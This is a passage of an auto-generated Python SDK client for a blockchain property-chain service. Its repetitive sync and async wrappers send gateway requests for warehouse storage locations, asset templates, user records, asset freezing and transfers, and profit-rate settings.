) -> propertychain_models.ListWarehouseStoragelocationResponse: """ Description: 列举仓库下某状态的库位列表 Summary: 列举仓库下某状态的库位列表 """ runtime = util_models.RuntimeOptions() headers = {} return self.list_warehouse_storagelocation_ex(request, headers, runtime) async def list_warehouse_storagelocation_async( self, request: propertychain_models.ListWarehouseStoragelocationRequest, ) -> propertychain_models.ListWarehouseStoragelocationResponse: """ Description: 列举仓库下某状态的库位列表 Summary: 列举仓库下某状态的库位列表 """ runtime = util_models.RuntimeOptions() headers = {} return await self.list_warehouse_storagelocation_ex_async(request, headers, runtime) def list_warehouse_storagelocation_ex( self, request: propertychain_models.ListWarehouseStoragelocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListWarehouseStoragelocationResponse: """ Description: 列举仓库下某状态的库位列表 Summary: 列举仓库下某状态的库位列表 """ UtilClient.validate_model(request) return propertychain_models.ListWarehouseStoragelocationResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.warehouse.storagelocation.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def list_warehouse_storagelocation_ex_async( self, request: propertychain_models.ListWarehouseStoragelocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListWarehouseStoragelocationResponse: """ Description: 列举仓库下某状态的库位列表 Summary: 列举仓库下某状态的库位列表 """ UtilClient.validate_model(request) return propertychain_models.ListWarehouseStoragelocationResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.warehouse.storagelocation.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def delete_warehouse_storagelocation( self, request: propertychain_models.DeleteWarehouseStoragelocationRequest, ) -> propertychain_models.DeleteWarehouseStoragelocationResponse: """ Description: 删除库位 Summary: 删除库位 """ runtime = util_models.RuntimeOptions() headers = {} return self.delete_warehouse_storagelocation_ex(request, headers, runtime) async def delete_warehouse_storagelocation_async( self, request: propertychain_models.DeleteWarehouseStoragelocationRequest, ) -> propertychain_models.DeleteWarehouseStoragelocationResponse: """ Description: 删除库位 Summary: 删除库位 """ runtime = util_models.RuntimeOptions() headers = {} return await self.delete_warehouse_storagelocation_ex_async(request, headers, runtime) def delete_warehouse_storagelocation_ex( self, request: propertychain_models.DeleteWarehouseStoragelocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.DeleteWarehouseStoragelocationResponse: """ Description: 删除库位 Summary: 删除库位 """ UtilClient.validate_model(request) return propertychain_models.DeleteWarehouseStoragelocationResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.warehouse.storagelocation.delete', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def delete_warehouse_storagelocation_ex_async( self, request: propertychain_models.DeleteWarehouseStoragelocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.DeleteWarehouseStoragelocationResponse: """ Description: 删除库位 Summary: 删除库位 """ UtilClient.validate_model(request) return propertychain_models.DeleteWarehouseStoragelocationResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.warehouse.storagelocation.delete', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_assettemplate( self, request: propertychain_models.CreateAssettemplateRequest, ) -> propertychain_models.CreateAssettemplateResponse: """ Description: 创建数据字典 Summary: 创建数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_assettemplate_ex(request, headers, runtime) async def create_assettemplate_async( self, request: propertychain_models.CreateAssettemplateRequest, ) -> propertychain_models.CreateAssettemplateResponse: """ Description: 创建数据字典 Summary: 创建数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_assettemplate_ex_async(request, headers, runtime) def create_assettemplate_ex( self, request: propertychain_models.CreateAssettemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateAssettemplateResponse: """ Description: 创建数据字典 Summary: 创建数据字典 """ UtilClient.validate_model(request) return propertychain_models.CreateAssettemplateResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.assettemplate.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_assettemplate_ex_async( self, request: propertychain_models.CreateAssettemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateAssettemplateResponse: """ Description: 创建数据字典 Summary: 创建数据字典 """ UtilClient.validate_model(request) return propertychain_models.CreateAssettemplateResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.assettemplate.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def update_assettemplate( self, request: propertychain_models.UpdateAssettemplateRequest, ) -> propertychain_models.UpdateAssettemplateResponse: """ Description: 更新数据字典 Summary: 更新数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return self.update_assettemplate_ex(request, headers, runtime) async def update_assettemplate_async( self, request: propertychain_models.UpdateAssettemplateRequest, ) -> propertychain_models.UpdateAssettemplateResponse: """ Description: 更新数据字典 Summary: 更新数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return await self.update_assettemplate_ex_async(request, headers, runtime) def update_assettemplate_ex( self, request: propertychain_models.UpdateAssettemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateAssettemplateResponse: """ Description: 更新数据字典 Summary: 更新数据字典 """ UtilClient.validate_model(request) return propertychain_models.UpdateAssettemplateResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.assettemplate.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def update_assettemplate_ex_async( self, request: propertychain_models.UpdateAssettemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateAssettemplateResponse: """ Description: 更新数据字典 Summary: 更新数据字典 """ UtilClient.validate_model(request) return propertychain_models.UpdateAssettemplateResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.assettemplate.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def get_assettemplate( self, request: propertychain_models.GetAssettemplateRequest, ) -> propertychain_models.GetAssettemplateResponse: """ Description: 查询数据字典 Summary: 查询数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return self.get_assettemplate_ex(request, headers, runtime) async def get_assettemplate_async( self, request: propertychain_models.GetAssettemplateRequest, ) -> propertychain_models.GetAssettemplateResponse: """ Description: 查询数据字典 Summary: 查询数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return await self.get_assettemplate_ex_async(request, headers, runtime) def get_assettemplate_ex( self, request: propertychain_models.GetAssettemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.GetAssettemplateResponse: """ Description: 查询数据字典 Summary: 查询数据字典 """ UtilClient.validate_model(request) return propertychain_models.GetAssettemplateResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.assettemplate.get', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def get_assettemplate_ex_async( self, request: propertychain_models.GetAssettemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.GetAssettemplateResponse: """ Description: 查询数据字典 Summary: 查询数据字典 """ UtilClient.validate_model(request) return propertychain_models.GetAssettemplateResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.assettemplate.get', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def list_assettemplate( self, request: propertychain_models.ListAssettemplateRequest, ) -> propertychain_models.ListAssettemplateResponse: """ Description: 列举数据字典 Summary: 列举数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return self.list_assettemplate_ex(request, headers, runtime) async def list_assettemplate_async( self, request: propertychain_models.ListAssettemplateRequest, ) -> propertychain_models.ListAssettemplateResponse: """ Description: 列举数据字典 Summary: 列举数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return await self.list_assettemplate_ex_async(request, headers, runtime) def list_assettemplate_ex( self, request: propertychain_models.ListAssettemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListAssettemplateResponse: """ Description: 列举数据字典 Summary: 列举数据字典 """ UtilClient.validate_model(request) return propertychain_models.ListAssettemplateResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.assettemplate.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def list_assettemplate_ex_async( self, request: propertychain_models.ListAssettemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListAssettemplateResponse: """ Description: 列举数据字典 Summary: 列举数据字典 """ UtilClient.validate_model(request) return propertychain_models.ListAssettemplateResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.assettemplate.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def delete_assettemplate( self, request: propertychain_models.DeleteAssettemplateRequest, ) -> propertychain_models.DeleteAssettemplateResponse: """ Description: 删除数据字典 Summary: 删除数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return self.delete_assettemplate_ex(request, headers, runtime) async def delete_assettemplate_async( self, request: propertychain_models.DeleteAssettemplateRequest, ) -> propertychain_models.DeleteAssettemplateResponse: """ Description: 删除数据字典 Summary: 删除数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return await self.delete_assettemplate_ex_async(request, headers, runtime) def delete_assettemplate_ex( self, request: propertychain_models.DeleteAssettemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.DeleteAssettemplateResponse: """ Description: 删除数据字典 Summary: 删除数据字典 """ UtilClient.validate_model(request) return propertychain_models.DeleteAssettemplateResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.assettemplate.delete', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def delete_assettemplate_ex_async( self, request: propertychain_models.DeleteAssettemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.DeleteAssettemplateResponse: """ Description: 删除数据字典 Summary: 删除数据字典 """ UtilClient.validate_model(request) return propertychain_models.DeleteAssettemplateResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.assettemplate.delete', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def enable_assettemplate( self, request: propertychain_models.EnableAssettemplateRequest, ) -> propertychain_models.EnableAssettemplateResponse: """ Description: 生效/失效数据字典 Summary: 生效/失效数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return self.enable_assettemplate_ex(request, headers, runtime) async def enable_assettemplate_async( self, request: propertychain_models.EnableAssettemplateRequest, ) -> propertychain_models.EnableAssettemplateResponse: """ Description: 生效/失效数据字典 Summary: 生效/失效数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return await self.enable_assettemplate_ex_async(request, headers, runtime) def enable_assettemplate_ex( self, request: propertychain_models.EnableAssettemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.EnableAssettemplateResponse: """ Description: 生效/失效数据字典 Summary: 生效/失效数据字典 """ UtilClient.validate_model(request) return propertychain_models.EnableAssettemplateResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.assettemplate.enable', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def enable_assettemplate_ex_async( self, request: propertychain_models.EnableAssettemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.EnableAssettemplateResponse: """ Description: 生效/失效数据字典 Summary: 生效/失效数据字典 """ UtilClient.validate_model(request) return propertychain_models.EnableAssettemplateResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.assettemplate.enable', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def update_document_file( self, request: propertychain_models.UpdateDocumentFileRequest, ) -> propertychain_models.UpdateDocumentFileResponse: """ Description: 上传文件 Summary: 上传文件 """ runtime = util_models.RuntimeOptions() headers = {} return self.update_document_file_ex(request, headers, runtime) async def update_document_file_async( self, request: propertychain_models.UpdateDocumentFileRequest, ) -> propertychain_models.UpdateDocumentFileResponse: """ Description: 上传文件 Summary: 上传文件 """ runtime = util_models.RuntimeOptions() headers = {} return await self.update_document_file_ex_async(request, headers, runtime) def update_document_file_ex( self, request: propertychain_models.UpdateDocumentFileRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateDocumentFileResponse: """ Description: 上传文件 Summary: 上传文件 """ UtilClient.validate_model(request) return propertychain_models.UpdateDocumentFileResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.document.file.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def update_document_file_ex_async( self, request: propertychain_models.UpdateDocumentFileRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateDocumentFileResponse: """ Description: 上传文件 Summary: 上传文件 """ UtilClient.validate_model(request) return propertychain_models.UpdateDocumentFileResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.document.file.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def get_document_file( self, request: propertychain_models.GetDocumentFileRequest, ) -> propertychain_models.GetDocumentFileResponse: """ Description: 根据文件id查找文件 Summary: 根据文件id查找文件 """ runtime = util_models.RuntimeOptions() headers = {} return self.get_document_file_ex(request, headers, runtime) async def get_document_file_async( self, request: propertychain_models.GetDocumentFileRequest, ) -> propertychain_models.GetDocumentFileResponse: """ Description: 根据文件id查找文件 Summary: 根据文件id查找文件 """ runtime = util_models.RuntimeOptions() headers = {} return await self.get_document_file_ex_async(request, headers, runtime) def get_document_file_ex( self, request: propertychain_models.GetDocumentFileRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.GetDocumentFileResponse: """ Description: 根据文件id查找文件 Summary: 根据文件id查找文件 """ UtilClient.validate_model(request) return propertychain_models.GetDocumentFileResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.document.file.get', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def get_document_file_ex_async( self, request: propertychain_models.GetDocumentFileRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.GetDocumentFileResponse: """ Description: 根据文件id查找文件 Summary: 根据文件id查找文件 """ UtilClient.validate_model(request) return propertychain_models.GetDocumentFileResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.document.file.get', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def cancel_user( self, request: propertychain_models.CancelUserRequest, ) -> propertychain_models.CancelUserResponse: """ Description: 用户注销 Summary: 用户注销 """ runtime = util_models.RuntimeOptions() headers = {} return self.cancel_user_ex(request, headers, runtime) async def cancel_user_async( self, request: propertychain_models.CancelUserRequest, ) -> propertychain_models.CancelUserResponse: """ Description: 用户注销 Summary: 用户注销 """ runtime = util_models.RuntimeOptions() headers = {} return await self.cancel_user_ex_async(request, headers, runtime) def cancel_user_ex( self, request: propertychain_models.CancelUserRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CancelUserResponse: """ Description: 用户注销 Summary: 用户注销 """ UtilClient.validate_model(request) return propertychain_models.CancelUserResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.user.cancel', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def cancel_user_ex_async( self, request: propertychain_models.CancelUserRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CancelUserResponse: """ Description: 用户注销 Summary: 用户注销 """ UtilClient.validate_model(request) return propertychain_models.CancelUserResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.user.cancel', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def update_user( self, request: propertychain_models.UpdateUserRequest, ) -> propertychain_models.UpdateUserResponse: """ Description: 更新用户信息 Summary: 更新用户信息 """ runtime = util_models.RuntimeOptions() headers = {} return self.update_user_ex(request, headers, runtime) async def update_user_async( self, request: propertychain_models.UpdateUserRequest, ) -> propertychain_models.UpdateUserResponse: """ Description: 更新用户信息 Summary: 更新用户信息 """ runtime = util_models.RuntimeOptions() headers = {} return await self.update_user_ex_async(request, headers, runtime) def update_user_ex( self, request: propertychain_models.UpdateUserRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateUserResponse: """ Description: 更新用户信息 Summary: 更新用户信息 """ UtilClient.validate_model(request) return propertychain_models.UpdateUserResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.user.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def update_user_ex_async( self, request: propertychain_models.UpdateUserRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateUserResponse: """ Description: 更新用户信息 Summary: 更新用户信息 """ UtilClient.validate_model(request) return propertychain_models.UpdateUserResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.user.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def list_user( self, request: propertychain_models.ListUserRequest, ) -> propertychain_models.ListUserResponse: """ Description: 查询用户信息列表 Summary: 查询用户信息列表 """ runtime = util_models.RuntimeOptions() headers = {} return self.list_user_ex(request, headers, runtime) async def list_user_async( self, request: propertychain_models.ListUserRequest, ) -> propertychain_models.ListUserResponse: """ Description: 查询用户信息列表 Summary: 查询用户信息列表 """ runtime = util_models.RuntimeOptions() headers = {} return await self.list_user_ex_async(request, headers, runtime) def list_user_ex( self, request: propertychain_models.ListUserRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListUserResponse: """ Description: 查询用户信息列表 Summary: 查询用户信息列表 """ UtilClient.validate_model(request) return propertychain_models.ListUserResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.user.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def list_user_ex_async( self, request: propertychain_models.ListUserRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListUserResponse: """ Description: 查询用户信息列表 Summary: 查询用户信息列表 """ UtilClient.validate_model(request) return propertychain_models.ListUserResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.user.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def mount_user( self, request: propertychain_models.MountUserRequest, ) -> propertychain_models.MountUserResponse: """ Description: 映射用户信息 Summary: 映射用户信息 """ runtime = util_models.RuntimeOptions() headers = {} return self.mount_user_ex(request, headers, runtime) async def mount_user_async( self, request: propertychain_models.MountUserRequest, ) -> propertychain_models.MountUserResponse: """ Description: 映射用户信息 Summary: 映射用户信息 """ runtime = util_models.RuntimeOptions() headers = {} return await self.mount_user_ex_async(request, headers, runtime) def mount_user_ex( self, request: propertychain_models.MountUserRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.MountUserResponse: """ Description: 映射用户信息 Summary: 映射用户信息 """ UtilClient.validate_model(request) return propertychain_models.MountUserResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.user.mount', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def mount_user_ex_async( self, request: propertychain_models.MountUserRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.MountUserResponse: """ Description: 映射用户信息 Summary: 映射用户信息 """ UtilClient.validate_model(request) return propertychain_models.MountUserResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.user.mount', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def batchcreate_importasset( self, request: propertychain_models.BatchcreateImportassetRequest, ) -> propertychain_models.BatchcreateImportassetResponse: """ Description: 批量创建物权 Summary: 批量创建物权 """ runtime = util_models.RuntimeOptions() headers = {} return self.batchcreate_importasset_ex(request, headers, runtime) async def batchcreate_importasset_async( self, request: propertychain_models.BatchcreateImportassetRequest, ) -> propertychain_models.BatchcreateImportassetResponse: """ Description: 批量创建物权 Summary: 批量创建物权 """ runtime = util_models.RuntimeOptions() headers = {} return await self.batchcreate_importasset_ex_async(request, headers, runtime) def batchcreate_importasset_ex( self, request: propertychain_models.BatchcreateImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchcreateImportassetResponse: """ Description: 批量创建物权 Summary: 批量创建物权 """ UtilClient.validate_model(request) return propertychain_models.BatchcreateImportassetResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.importasset.batchcreate', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def batchcreate_importasset_ex_async( self, request: propertychain_models.BatchcreateImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchcreateImportassetResponse: """ Description: 批量创建物权 Summary: 批量创建物权 """ UtilClient.validate_model(request) return propertychain_models.BatchcreateImportassetResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.importasset.batchcreate', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def describe_importasset( self, request: propertychain_models.DescribeImportassetRequest, ) -> propertychain_models.DescribeImportassetResponse: """ Description: 添加物权描述信息 Summary: 添加物权描述信息 """ runtime = util_models.RuntimeOptions() headers = {} return self.describe_importasset_ex(request, headers, runtime) async def describe_importasset_async( self, request: propertychain_models.DescribeImportassetRequest, ) -> propertychain_models.DescribeImportassetResponse: """ Description: 添加物权描述信息 Summary: 添加物权描述信息 """ runtime = util_models.RuntimeOptions() headers = {} return await self.describe_importasset_ex_async(request, headers, runtime) def describe_importasset_ex( self, request: propertychain_models.DescribeImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.DescribeImportassetResponse: """ Description: 添加物权描述信息 Summary: 添加物权描述信息 """ UtilClient.validate_model(request) return propertychain_models.DescribeImportassetResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.importasset.describe', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def describe_importasset_ex_async( self, request: propertychain_models.DescribeImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.DescribeImportassetResponse: """ Description: 添加物权描述信息 Summary: 添加物权描述信息 """ UtilClient.validate_model(request) return propertychain_models.DescribeImportassetResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.importasset.describe', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def batchfreeze_importasset( self, request: propertychain_models.BatchfreezeImportassetRequest, ) -> propertychain_models.BatchfreezeImportassetResponse: """ Description: 批量冻结 Summary: 批量冻结 """ runtime = util_models.RuntimeOptions() headers = {} return self.batchfreeze_importasset_ex(request, headers, runtime) async def batchfreeze_importasset_async( self, request: propertychain_models.BatchfreezeImportassetRequest, ) -> propertychain_models.BatchfreezeImportassetResponse: """ Description: 批量冻结 Summary: 批量冻结 """ runtime = util_models.RuntimeOptions() headers = {} return await self.batchfreeze_importasset_ex_async(request, headers, runtime) def batchfreeze_importasset_ex( self, request: propertychain_models.BatchfreezeImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchfreezeImportassetResponse: """ Description: 批量冻结 Summary: 批量冻结 """ UtilClient.validate_model(request) return propertychain_models.BatchfreezeImportassetResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.importasset.batchfreeze', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def batchfreeze_importasset_ex_async( self, request: propertychain_models.BatchfreezeImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchfreezeImportassetResponse: """ Description: 批量冻结 Summary: 批量冻结 """ UtilClient.validate_model(request) return propertychain_models.BatchfreezeImportassetResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.importasset.batchfreeze', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def batchunfreeze_importasset( self, request: propertychain_models.BatchunfreezeImportassetRequest, ) -> propertychain_models.BatchunfreezeImportassetResponse: """ Description: 物权批量解冻 Summary: 物权批量解冻 """ runtime = util_models.RuntimeOptions() headers = {} return self.batchunfreeze_importasset_ex(request, headers, runtime) async def batchunfreeze_importasset_async( self, request: propertychain_models.BatchunfreezeImportassetRequest, ) -> propertychain_models.BatchunfreezeImportassetResponse: """ Description: 物权批量解冻 Summary: 物权批量解冻 """ runtime = util_models.RuntimeOptions() headers = {} return await self.batchunfreeze_importasset_ex_async(request, headers, runtime) def batchunfreeze_importasset_ex( self, request: propertychain_models.BatchunfreezeImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchunfreezeImportassetResponse: """ Description: 物权批量解冻 Summary: 物权批量解冻 """ UtilClient.validate_model(request) return propertychain_models.BatchunfreezeImportassetResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.importasset.batchunfreeze', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def batchunfreeze_importasset_ex_async( self, request: propertychain_models.BatchunfreezeImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchunfreezeImportassetResponse: """ Description: 物权批量解冻 Summary: 物权批量解冻 """ UtilClient.validate_model(request) return propertychain_models.BatchunfreezeImportassetResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.importasset.batchunfreeze', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def batchcancel_importasset( self, request: propertychain_models.BatchcancelImportassetRequest, ) -> propertychain_models.BatchcancelImportassetResponse: """ Description: 物权批量撤销 Summary: 物权批量撤销 """ runtime = util_models.RuntimeOptions() headers = {} return self.batchcancel_importasset_ex(request, headers, runtime) async def batchcancel_importasset_async( self, request: propertychain_models.BatchcancelImportassetRequest, ) -> propertychain_models.BatchcancelImportassetResponse: """ Description: 物权批量撤销 Summary: 物权批量撤销 """ runtime = util_models.RuntimeOptions() headers = {} return await self.batchcancel_importasset_ex_async(request, headers, runtime) def batchcancel_importasset_ex( self, request: propertychain_models.BatchcancelImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchcancelImportassetResponse: """ Description: 物权批量撤销 Summary: 物权批量撤销 """ UtilClient.validate_model(request) return propertychain_models.BatchcancelImportassetResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.importasset.batchcancel', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def batchcancel_importasset_ex_async( self, request: propertychain_models.BatchcancelImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchcancelImportassetResponse: """ Description: 物权批量撤销 Summary: 物权批量撤销 """ UtilClient.validate_model(request) return propertychain_models.BatchcancelImportassetResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.importasset.batchcancel', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def batchcreate_transfer( self, request: propertychain_models.BatchcreateTransferRequest, ) -> propertychain_models.BatchcreateTransferResponse: """ Description: 批量创建转让申请 Summary: 批量创建转让申请 """ runtime = util_models.RuntimeOptions() headers = {} return self.batchcreate_transfer_ex(request, headers, runtime) async def batchcreate_transfer_async( self, request: propertychain_models.BatchcreateTransferRequest, ) -> propertychain_models.BatchcreateTransferResponse: """ Description: 批量创建转让申请 Summary: 批量创建转让申请 """ runtime = util_models.RuntimeOptions() headers = {} return await self.batchcreate_transfer_ex_async(request, headers, runtime) def batchcreate_transfer_ex( self, request: propertychain_models.BatchcreateTransferRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchcreateTransferResponse: """ Description: 批量创建转让申请 Summary: 批量创建转让申请 """ UtilClient.validate_model(request) return propertychain_models.BatchcreateTransferResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.transfer.batchcreate', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def batchcreate_transfer_ex_async( self, request: propertychain_models.BatchcreateTransferRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchcreateTransferResponse: """ Description: 批量创建转让申请 Summary: 批量创建转让申请 """ UtilClient.validate_model(request) return propertychain_models.BatchcreateTransferResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.transfer.batchcreate', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_cmport_profitrate( self, request: propertychain_models.CreateCmportProfitrateRequest, ) -> propertychain_models.CreateCmportProfitrateResponse: """ Description: 创建分润比例配置 Summary: 创建分润比例配置 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_cmport_profitrate_ex(request, headers, runtime) async def create_cmport_profitrate_async( self, request: propertychain_models.CreateCmportProfitrateRequest, ) -> propertychain_models.CreateCmportProfitrateResponse: """ Description: 创建分润比例配置 Summary: 创建分润比例配置 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_cmport_profitrate_ex_async(request, headers, runtime) def create_cmport_profitrate_ex( self, request: propertychain_models.CreateCmportProfitrateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateCmportProfitrateResponse: """ Description: 创建分润比例配置 Summary: 创建分润比例配置 """ 